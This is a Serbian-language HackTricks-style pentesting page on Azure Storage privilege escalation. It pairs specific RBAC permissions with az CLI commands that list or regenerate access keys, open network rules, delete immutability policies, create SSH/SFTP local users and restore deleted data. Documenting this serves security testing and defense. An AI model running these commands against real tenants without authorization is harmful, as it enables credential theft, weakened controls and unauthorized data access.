# Az - Storage Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Storage Privesc

Za više informacija o skladištu, proverite:

{{#ref}}
../az-services/az-storage.md
{{#endref}}

### `Microsoft.Storage/storageAccounts/listkeys/action`

Principal sa ovom dozvolom će moći da prikaže (i tajne vrednosti) **pristupnih ključeva** skladišnih računa. Omogućavajući principalu da eskalira svoje privilegije nad skladišnim računima.
```bash
az storage account keys list --account-name <acc-name>
```
### `Microsoft.Storage/storageAccounts/regenerateKey/action`

Principal sa ovom dozvolom će moći da obnovi i dobije novu tajnu vrednost **access keys** skladišnih naloga. Omogućavajući principalu da eskalira svoje privilegije nad skladišnim nalozima.

Pored toga, u odgovoru, korisnik će dobiti vrednost obnovljenog ključa, kao i vrednost neobnovljenog:
```bash
az storage account keys renew --account-name <acc-name> --key key2
```
### `Microsoft.Storage/storageAccounts/write`

Principal sa ovom dozvolom će moći da kreira ili ažurira postojeći nalog za skladištenje, ažurirajući bilo koju postavku kao što su pravila mreže ili politike.
```bash
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow

# e.g. allow an IP address
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
```
## Blobs Specifične privesc

### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`

Prvo dopuštenje omogućava **modifikaciju politika nepromenljivosti** u kontejnerima, a drugo da ih obrišete.

> [!NOTE]
> Imajte na umu da ako je politika nepromenljivosti u stanju zaključavanja, ne možete izvršiti nijednu od dve radnje.
```bash
az storage container immutability-policy delete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP>

az storage container immutability-policy update \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP> \
--period <NEW_RETENTION_PERIOD_IN_DAYS>
```
## File shares specific privesc

### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`

Ovo bi trebalo da omogući korisniku koji ima ovu dozvolu da preuzme vlasništvo nad datotekama unutar deljenog fajl sistema.

### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`

Ovo bi trebalo da omogući korisniku koji ima ovu dozvolu da menja dozvole datoteka unutar deljenog fajl sistema.

### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`

Ovo bi trebalo da omogući korisniku koji ima ovu dozvolu da izvršava akcije unutar fajl sistema kao superkorisnik.

### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`

Sa ovom dozvolom, napadač može da kreira i ažurira (ako ima `Microsoft.Storage/storageAccounts/localusers/read` dozvolu) novog lokalnog korisnika za Azure Storage nalog (konfigurisano sa hijerarhijskom imenskom prostorom), uključujući određivanje dozvola korisnika i početnog direktorijuma. Ova dozvola je značajna jer omogućava napadaču da sebi dodeli pristup storage nalogu sa specifičnim dozvolama kao što su čitanje (r), pisanje (w), brisanje (d) i listanje (l) i još mnogo toga. Dodatno, metode autentifikacije koje se koriste mogu biti Azure-generisane lozinke i SSH ključevi. Nema provere da li korisnik već postoji, tako da možete prepisati druge korisnike koji su već prisutni. Napadač bi mogao da eskalira svoje privilegije i dobije SSH pristup storage nalogu, potencijalno izlažući ili kompromitujući osetljive podatke.
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME> \
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use
```
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`

Sa ovom dozvolom, napadač može regenerisati lozinku za lokalnog korisnika u Azure Storage nalogu. Ovo omogućava napadaču da dobije nove autentifikacione kredencijale (kao što su SSH ili SFTP lozinka) za korisnika. Korišćenjem ovih kredencijala, napadač bi mogao dobiti neovlašćen pristup storage nalogu, izvršiti transfer fajlova ili manipulisati podacima unutar storage kontejnera. Ovo bi moglo rezultirati curenjem podataka, oštećenjem ili zlonamernom izmenom sadržaja storage naloga.
```bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME>
```
Da biste pristupili Azure Blob Storage putem SFTP (is_hns_enabled treba da bude true) koristeći lokalnog korisnika putem SFTP, možete (takođe možete koristiti ssh ključ za povezivanje):
```bash
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
```
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`

Sa ovim dozvolama, napadač može da vrati obrisani kontejner tako što će navesti njegov ID obrisane verzije ili da ponovo aktivira specifične blobove unutar kontejnera, ako su prethodno bili soft-deleted. Ova eskalacija privilegija može omogućiti napadaču da povrati osetljive podatke koji su trebali biti trajno obrisani, što može dovesti do neovlašćenog pristupa.
```bash
#Restore the soft deleted container
az storage container restore \
--account-name <STORAGE_ACCOUNT_NAME> \
--name <CONTAINER_NAME> \
--deleted-version <VERSION>

#Restore the soft deleted blob
az storage blob undelete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"
```
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`

Sa ovim dozvolama, napadač može da vrati obrisanu Azure datoteku tako što će navesti njen ID obrisane verzije. Ova eskalacija privilegija može omogućiti napadaču da povrati osetljive podatke koji su trebali biti trajno obrisani, što može dovesti do neovlašćenog pristupa.
```bash
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \
--name <FILE_SHARE_NAME> \
--deleted-version <VERSION>
```
## Ostale zanimljive dozvole (TODO)

- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Menja vlasništvo nad blob-om
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Menja dozvole blob-a
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Vraća rezultat komande blob-a
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action

## Reference

- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)

{{#include ../../../banners/hacktricks-training.md}}
